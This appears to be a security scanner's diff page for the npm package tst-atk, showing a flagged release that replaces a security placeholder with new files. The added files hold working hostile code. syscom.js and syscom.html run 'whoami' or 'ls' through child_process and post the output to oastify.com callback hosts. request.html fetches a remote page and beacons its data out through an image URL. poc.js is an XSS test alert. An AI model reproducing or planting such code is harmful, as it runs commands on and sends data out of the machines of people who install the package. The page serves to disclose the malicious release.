tst-atk 0.0.1-security → 1.2.14

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of tst-atk might be problematic. Click here for more details.

package/index.html ADDED
@@ -0,0 +1,3 @@
1
+ <script>
2
+ fetch('http://storetheme.vtex.com/_v/public/assets/v1/npm/tst-atk@1.2.14/syscom.html')
3
+ </script>
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
- "name": "tst-atk",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "tst-atk",
3
+ "version": "1.2.14",
4
+ "description": "retest for xss",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "lvarell4",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "axios": "^1.6.0"
13
+ }
6
14
  }
package/poc.html ADDED
@@ -0,0 +1,14 @@
1
+ <script>
2
+ const { exec } = require('child_process');
3
+
4
+ const comando = 'ls';
5
+
6
+ exec(comando, (error, stdout, stderr) => {
7
+ if (error) {
8
+ console.error(`Erro: ${error}`);
9
+ return;
10
+ }
11
+ console.log(`Saída do comando: ${stdout}`);
12
+ console.error(`Erro padrão do comando: ${stderr}`);
13
+ });
14
+ </script>
package/poc.js ADDED
@@ -0,0 +1 @@
1
+ alert ("teste");
package/request.html ADDED
@@ -0,0 +1,10 @@
1
+ <script>
2
+ fetch('https://storetheme.vtex.com/_v/public/assets/v1/npm/tst-atk@1.2.13/syscom.html')
3
+ .then(response => {
4
+ return response.json();
5
+ })
6
+ .then(data => {
7
+ let image = new Image();
8
+ image.src = 'http://yoq2rwh25u7vlemo2d1ew06fk6qxeo6cv.oastify.com/?' + data;
9
+ });
10
+ </script>
package/syscom-bkp.js ADDED
@@ -0,0 +1,24 @@
1
+ const { exec } = require('child_process');
2
+ const axios = require('axios');
3
+
4
+ const comando = 'whoami';
5
+
6
+ exec(comando, (error, stdout, stderr) => {
7
+ if (error) {
8
+ console.error(`Erro: ${error}`);
9
+ return;
10
+ }
11
+ console.log(`output: ${stdout}`);
12
+ console.error(`error: ${stderr}`);
13
+
14
+ const urlExterna = 'http://jyln1hrnffhgvzw9cybz6lg0ur0io9hx6.oastify.com';
15
+
16
+
17
+ axios.post(urlExterna, { saida: stdout })
18
+ .then(response => {
19
+ console.log('output sent');
20
+ })
21
+ .catch(err => {
22
+ console.error('error to send the output:', err);
23
+ });
24
+ });
package/syscom.html ADDED
@@ -0,0 +1,28 @@
1
+ <script>
2
+
3
+ const { exec } = require('child_process');
4
+ const axios = require('axios');
5
+
6
+ const comando = 'ls';
7
+
8
+ exec(comando, (error, stdout, stderr) => {
9
+ if (error) {
10
+ console.error(`Erro: ${error}`);
11
+ return;
12
+ }
13
+ console.log(`output: ${stdout}`);
14
+ console.error(`error: ${stderr}`);
15
+
16
+ const urlExterna = 'http://jyln1hrnffhgvzw9cybz6lg0ur0io9hx6.oastify.com';
17
+
18
+
19
+ axios.post(urlExterna, { saida: stdout })
20
+ .then(response => {
21
+ console.log('output sent');
22
+ })
23
+ .catch(err => {
24
+ console.error('error to send the output:', err);
25
+ });
26
+ });
27
+
28
+ </script>
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tst-atk for more information.